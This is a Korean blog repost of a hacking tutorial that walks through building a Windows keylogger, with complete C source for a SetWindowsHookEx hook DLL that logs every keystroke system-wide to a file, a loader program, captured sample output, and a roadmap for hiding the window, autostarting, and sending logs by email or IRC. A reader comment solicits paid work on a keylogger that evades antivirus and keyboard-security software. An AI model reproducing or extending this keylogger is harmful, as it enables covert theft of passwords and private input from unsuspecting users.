이번엔 SetWindowsHookEx 함수의 사용 방법을 알아볼까요? 설명보단 실제 코딩할
때의 이해가 훨씬 쉽고 빠름으로 간단하게 함수 원형만 알아보도록 하겠습니다.

SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwTreadID);

idHook : 후킹의 종류를 정합니다. 보통 WH_GETMESSAGE를 사용합니다. 이것은
         GetMessage등의 함수를 사용하여 메시지 큐에서 메시지를 꺼내올 때
         후킹을 적용시키라는 의미입니다.

lpfn : 후킹이 적용될 때 실행되는 함수를 의미합니다. 가장 중요한 부분이겠죠?
       이 부분에 사용되는 함수는 앞서 배운 DLL 안의 함수를 호출하는 방법으로
       가져오게 됩니다.

hMod : DLL의 핸들을 지정합니다. 즉, LoadLibrary 함수의 리턴 값입니다.

dwThreadID : 후킹을 쓰레드 함수에 적용시키고 싶다면, 그 쓰레드의 ID를 적어줍니다.

자~ 이제 드디어 키로거를 만들 모든 준비가 완료되었습니다.~!
먼저, 사용자가 입력한 값을 파일로 저장하는 함수를 구현해야겠죠? 그리고 이
함수는 어떤 프로그램에서던 호출될 수 있어야하구요. 그럼 뭘로 만들어야할까요?
맞습니다~ 동적 라이브러리 형태로 만들어야 모든 프로그램에서 접근할 수 있겠죠.
그럼 그 함수를 만들어 보도록 하겠습니다. 앞서 DLL TEST 프로젝트를 만든 것과
동일한 절차를 거쳐 HOOKER라는 프로젝트를 만든 후, 아래 내용을 입력합니다.

================= 키보드 내용을 파일로 저장하는 DLL 코드 ===================

#include

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
        if(((MSG*)lp)->message == (long)WM_CHAR)
        {                        
                HANDLE hFile;
                DWORD dwWrite;
               hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL, NULL);        
                SetFilePointer(hFile, 0, 0, FILE_END);                        
                WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
                CloseHandle(hFile);                                
        }
        return TRUE;        
}

=============================================================================

GetMsgProc 함수의 원형을 자세히보면 앞서 WndProc라고 선언했던 CALLBACK
함수와 거의 비슷합니다. 메시지가 발생했을 때, CALLBACK 함수로 전달된 인자들의
정보가 가공되어 이 GetMsgProc 함수로 전달될 것입니다.

이제 이 함수는 잠시 후에 SetWindowsHookEx 함수에의해 메시지 후킹됩니다.
즉, 메시지 후킹 후에는 윈도우 내에서 발생하는 모든 메시지가 위 함수를 한번
거친 후 자신의 본래 작업을 하게 된다는 말입니다. 위 내용을 해석해 볼까요?
일단 이 함수가 실행되면, 인자로 전달받은 lp 구조체의 message라는 멤버에서
발생한 메시지를 얻습니다. 그리고 그 메시지가 WM_CHAR이라면 우리가 원하는
HACK 작업을 수행하고, 그렇지 않으면 아무것도 하지 않습니다.

만약, 발생한 메시지가 WM_CHAR이라면? CreateFile 함수로 c:\test.txt 파일을
open하고, 이미 저장된 내용이 없어지지 않도록 포인터를 파일의 끝으로 옮깁니다.
그 다음 WriteFile 함수로 역시 인자로 전달받은 lp 구조체의 wParam 값에서
WM_CHAR 메시지를 발생한 그 KEY가 어떤 것인지를 조사합니다. 예를들어 우리가
키보드르 X라는 키를 누르면, WM_CHAR 메시지가 lp->message에 저장되고, X라는
문자가 lp->wParam에 저장되는 것입니다. 마지막으로 CloseHandle로 파일을 닫습
니다.

◎ 다시 한번 위 과정을 정리해 봅시다.

1. 발생한 메시지가 WM_CHAR 이라면,
2. c:\test.txt 파일을 열고,
3. 파일 핸들의 포인터를 끝쪽으로 옮기고,
4. 입력된 문자를 저장하고,
5. 열린 파일을 닫는다.

간단하죠? 추가로 위 함수들에서 사용된 인자들에 대한 설명을 드리겠습니다.
일단 GENERIC_WRITE는 이 파일을 쓰기 가능 형태로 열겠다는 말이구요, 그 다음
두 인자는 이 파일을 공유할 것인지와 상속가능하게 할 것인지를 정하는데 둘
다 NULL로 해주면 됩니다. 그 다음의 OPEN_ALWAYS는 만약 해당 파일이 없다면
새로 만들고, 있으면 그냥 연다는 의미입니다. 그 다음 인자는 파일의 속성이며,
마지막 인자는 파일의 추가 속성을 지원하는 템플리트 파일의 핸들입니다.

SetFilePointer에서 사용된 네 인자는 다음과 같습니다. 첫 번째 인자는 파일의
핸들로 리눅스에서 디스크립터라고 부르던 것을 윈도우에선 핸들이라는 용어로
대신합니다. 즉, 시작 부분을 가리키는 포인터 정도로 이해하시면 됩니다.
두 번째와 세 번째 인자는 기준점으로부터의 + 혹은 - 위치를 설정합니다. 인자가
두 개인 이유는 파일의 용량이 매우 커졌을 때, 단 하나의 정수 값으로 위치를
지정하는 것이 힘들기 때문입니다. 앞의 것은 하위 4바이트 뒤의 것은 상위
4바이트인 것입니다. 마지막 인자는 포인터를 변경할 기준점입니다. 여기에선
파일의 가장 끝을 의미하는 FILE_END로 지정해 줬습니다.

WriteFile의 인자 역시 간단합니다. 첫 번째 것은 파일의 핸들, 두 번째 것은
입력할 문자열, 그 다음엔 그 문자열의 길이, 그 다음은 성공적으로 입력된
바이트 수가 저장될 변수, 마지막은 비동기 기능을 사용할지를 결졍합니다.

이제, 이 DLL 파일을 컴파일 합니다. 아차~ .def 파일을 만들어주지 않았군요.
다음의 hooker.def 파일을 앞서 DLL TEST을 배웠을 때와 같은 방법으로 추가해
줍시다.

==================== hooker.def ======================
LIBRARY                WGHooker
EXPORTS
        GetMsgProc        @1
======================================================

이제 컴파일 하면, hooker.dll 파일이 생성되겠지요? 참고로 Visual Studio는
코드를 컴파일할 때 기본으로 디버깅 가능한 모드로 하게 되어있습니다.
따라서 디버깅 정보로 인해 용량이 무지큽니다. 따라서 Build -> Set Active
Configuration 메뉴를 통하여 debug mode를 release mode로 변경시켜 줍니다.
그럼 파일의 용량이 약 1/10으로 줄어들 것입니다.

이제 키로거의 본체 역할을 할 DLL 파일의 구현이 끝났습니다. 실제로 인터넷에
공개되어있는 키로거들이나 키로깅 기능이 내장되어있는 넷버스나, 서브세븐같은
트로이를 보면 모두 자신만의 고유한 DLL 파일을 따로 가지고 있습니다. 넷버스를
예로 들면, 감염된 후에 윈도우즈 디렉토리에 KeyHook.dll이 설치되는데, 이것이
바로 키로깅 기능을 위한 파일입니다. 이처럼 DLL 파일을 이용하여 후킹의 본체를
만드는 것은 거의 후킹의 정석입니다.

자, 그럼 이번엔 메시지 후킹을 구동시키는 프로그램을 만들어 봅시다. 키로거의
핵심적인 기능을 하는 것은 DLL 파일이지만, 실제 후킹을 설치하는 것은 지금
만드려는 이 프로그램이기 때문에, 실제 "키로거"라고 불리는 프로그램이 바로
이것입니다.

역시 앞서 만든 예제 프로그램을 조금 수정하여 만들어 보겠습니다. CALLBACK
함수를 다음과 같이 새로 작성합니다.

================== 메시지 후킹을 구동시키는 코드 ==========================

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{
        static HINSTANCE hinstDll;
        HOOKPROC hGetMsgProc;
        static HHOOK hKeyHook;

        switch( iMessage )
        {        
        case WM_CREATE:
                hinstDll = LoadLibrary("hooker.dll");
                if(!hinstDll){
                        MessageBox(hWnd, "hooker.dll을 로드할 수 없습니다.", "오류", MB_OK);
                        ExitProcess(1);
                }

                hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc");
                if(!hGetMsgProc){
                        MessageBox(hWnd, "GetMsgProc 함수를 찾을 수 없습니다.", "오류", MB_OK);
                        FreeLibrary(hinstDll);
                        ExitProcess(1);
                }
                hKeyHook = SetWindowsHookEx(WH_GETMESSAGE, hGetMsgProc, hinstDll, 0);
                if(!hKeyHook){
                        MessageBox(hWnd, "Hooking을 성공하지 못했습니다.", "오류", MB_OK);
                        FreeLibrary(hinstDll);
                        ExitProcess(1);
                }
                return 0;
        case WM_DESTROY:
                PostQuitMessage( 0 );
                break;
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

============================================================================

LoadLibrary, GetProcAddress, SetWindowsHookEx 모두 이미 배운 것들입니다.
이해하기 쉽도록 정리해 보겠습니다. 일단 LoadLibrary 함수에 의하여 hooker.dll
파일이 로드됩니다. 그 다음엔 이 dll 파일 내에서 GetMsgProc 함수를 찾아냅니다.
GetMsgProc 함수는 아까 그 WM_CHAR 메시지를 검색하여 입력된 문자를 파일에
저장하는 역할을 하도록 구현했던 것입니다. 이제 실제 메시지 후킹을 작동 시키
는데, WH_GETMESSAGE. 즉, 메시지 큐에서 메시시가 꺼내질 때, hGetMsgProc
함수가 실행되며, 이 함수가 있는 DLL의 시작 위치는 hinstDll라는 의미의 인자
들을 넣어주었습니다. 마지막 인자인 0은 쓰레드와 관련된 것인데 우리는 사용하지
않습니다.

이 SetWindowsHookEx 함수는 이 함수가 실행된 프로세스만이 아닌, 현재 윈도우에
실행 중인 모든 프로세스와 앞으로 실행되는 새로운 프로세스들에도 적용됩니다.
이 SetWindowsHookEx 함수의 기능이 얼마나 강력한지를 느끼실 수 있겠지요?

이제 이 프로그램이 실행된 후의 모든 프로그램들은 메시지 큐에서 메시지를
꺼내올 때, SetWindowsHookEx의 영향을 받아 GetMsgProc 함수를 호출하게
됩니다. 이 함수를 어디서 찾나요? 바로 모든 프로세스가 자유롭게 접근할 수
있는 메모리의 동적 라이브러리 공간에서 찾습니다. 그리고 GetMsgProc 함수
안에는 WM_CHAR 메시지만을 추출하여 이 메시지를 발생시킨 문자를 파일에 저장
합니다. 따라서, 우리가 윈도우 시스템 내에서 입력하는 모든 문자들이 특정
파일. 즉, c:\test.txt에 저장되는 것입니다. 이 과정을 보기쉽게 다시 한번
정리해 보겠습니다.

◎ 키로거 프로그램 작동 절차

1. keylogger.exe이 실행된다.
2. hooker.dll 파일을 로딩한다.
3. GetMsgProc 함수를 찾는다.
4. SetWindowsHookEx 함수에 의해서 모든 메시지가 발생할 때, GetMsgProc 함수가
   실행되도록 후커가 설치된다. 그리고 이것은 윈도우 내의 모든 프로그램에
   적용된다.
5. 이제 keylogger.exe는 자기 할 일을 다 했고, 백그라운드로 계속 돌아간다.
6. 윈도우 내에서 특정 메시지가 발생하면, GetMsgProc 함수가 호출된다.
7. GetMsgProc 함수는 그 발생한 메시지가 WM_CHAR인자를 검사하여, 만약 맞다면
   그 문자를 파일에 저장한다.
8. keylogger.exe가 종료될 때까지 위 내용이 반복된다.

이제 방금 만든 프로그램을 컴파일한 후, 실행합시다. 물론 실행하기 전에는
hooker.dll을 먼저 debug 폴더로 복사해 놓아야겠지요?

[DLL 다운로드]
[소스코드]

[WG Keylogger]
[소스코드]

실행을 하였다면, 이제 아무 문자들이나 마구 입력해 봅시다. 우리가 어떤 문자를
입력하면, WM_CHAR 메시지가 발행하고, GetMsgProc 함수는 WM_CHAR 메시지를 발생
시킨 문자를 가져와 c:\test.txt 파일에 저장할 것입니다. 테스트를 완료하였다면,
keylogger.exe 프로그램을 종료하고, c:\test.txt 파일을 열어봅시다. 다음은 제가
테스트한 test.txt 파일의 내용입니다.

================================
test hi hello
mirable
hello
nnoowwnnuurrii..nneett
================================

오예~ 드디어 우리가 만든 키로거가 작동했습니다.~ 그런데 조금 이상한 점이
있습니다. 가장 아랫 줄인 nownuri.net은 제가 새롬 데이터맨을 실행한 후, 접속
호스트 입력 폼에 입력한 문자들입니다. 그리고 그 위의 3줄은 그냥 바탕화면에서
키보드를 눌렀던 것의 저장 결과입니다. 차이가 무엇일까요? 왜 새롬에서 문자를
입력했을 땐, nnoowwuurrii와 같이 2번씩 반복된 것일까요? 이유는 다음과 같습
니다. 우리가 그냥 화면에 abc라고 입력하면, WM_CHAR 메시지는 총 3번 발생
합니다. 하지만, 에디터나, 입력 폼과 같은 곳에 abc라고 입력하면, 우리가
입력했을 때 한 번 발생하고, 또 그 문자가 실제 모니터에 출력될 때 또 한번
WM_CHAR 문자가 발생합니다. 그래서 새롬의 입력폼에 nownuri.net이라고 입력한
것은 우리가 입력할 때의 n, 그리고 화면에 출력될 때의 n, 나머지도 마찬가지로
oowwnnuurrii 이렇게 두 번씩 저장된 것입니다. 이것을 해결하려면 어떻게 해야
할까요? 단지 이 문제 뿐만 아니라 지금까지 간단하게 만든 키로거에는 아주
많은 개선이 필요합니다. 이제 키로거의 뼈대는 모두 완성하였으니, 앞으로는
이 기본적인 키로거를 발전시키는 과정을 설명해 드리도록 하겠습니다. 아마도
완성된 키로거는 지금까지 공개된 모든 키로거들 중에 최강이되지 않을까 기대해
봅니다. 왜냐하면, 기존의 키로거들에는 없었던 다양한 기능들을 추가할 계획이기
때문입니다. 특히, 기존의 외국에서 개발된 키로거들은 한글을 저장하지 못합니다.
우리가 "멍멍"이라고 한글로 입력하면, 그 결과는 "ajdajd"과 같이 영문 타자로
저장된다는 말입니다. 우리는 이 점을 최우선으로두어 개선할 것입니다. 그럼
앞으로 개선할 점들에 대해서 나열해 볼까요?

◎ WiseGuys Keylogger의 발전 계획
1. keylogger 실행 창을 숨긴다.
2. WM_CHAR 중복 문제를 해결한다.
3. 엔터, 백스페이스, PAGE UP, DOWN, F1~10 등의 특수 문자를 기록한다.
4. 해당 문자가 몇시에 입력된 것인지를 기록한다.
5. 해당 문자들이 어떤 프로그램 내에서 입력된 것인지를 기록한다.
6. 한글 입력의 저장이 가능하도록 한다.
7. 부팅 시 자동으로 실행되도록 한다.
8. 저장된 내용을 특정 E-MAIL로 발송하도록 한다.
9. 저장된 내용을 특정 IRC 채널로 출력하도록 한다.
10. keylogger.exe 파일 내의 설정을 수정할 수 있도록 한다.
11. 설정 내용을 레지스트리에 저장하도록 한다.

이 1번부터 11번까지의 구현 절차는 제 2차 WG Documents에서 설명합니다.
지금까지 가장 기본적인 키로거 구현 방법에 대해 알아보았는데요. 아무래도
몇 시간을 붙들고 직접 실습해보지 않은 이상 반 정도도 이해하기 힘드셨을
겁니다. 윈도우 해킹쪽에 관심이 있으시다면 꼭 구현 실습을 직접 해보시구요.
저도 시간이 된다면 넷미팅을 이용하여 이 주제에 대한 실시간 강의를 진행해
드리도록 하겠습니다. 앞으로 작성되는 WG Documents들 중 괜찮은 것을 3개 정도
선별하여 실습을 겸비한 온라인 강좌를 진행할 계획이 있거든요.
그럼 다음 강좌에서 뵙도록 합시다.^^

출처:http://research.hackerschool.org/Datas/Research_Lecture/keylog.txt

----------------------------------------------------------------------------------------------------
저같은 초보가 보기에는 딱인 문서입니다. 불법적인 내용인지  다소 헷갈리긴 하지만
그래도 스크랩해서 올려봅니다.

저쪽 링크타시면 수없이 많은 보안관련 오래된 고문서들이 나뒹굴고 있네용..
초보라서 이것저것 가리지 않고 읽어보고 있습니다.
가장 찾고있고, 중요한 내용은 항상 엉뚱한곳에 , 전혀 있을거 같지 않은곳에있기 마련이죠.

by neker | 2008/04/18 21:54 | 보안 | 트랙백 | 덧글(2)
트랙백 주소 : http://neker.egloos.com/tb/255042
☞ 내 이글루에 이 글과 관련된 글 쓰기 (트랙백 보내기) [도움말]
Commented by sizn at 2009/04/27 19:33
감사합니다....정말..
Commented by ddd at 2009/11/17 18:23

일반 백신프로그램과 n프로텍트인 키보드 보안 프로그램에
걸리지 않는 키로그 프로그램을 제작하려합니다

일단 네이트온은 powerdj7@hanmil.net 입니다.
친구추가하시고 대화신청 바랍니다.
비용은 협의하시면 됩니다.

빠르게 성사가 되었으면 하는 바램입니다.

:         :

:

비공개 덧글



<< 이전 페이지 | 다음 페이지 >>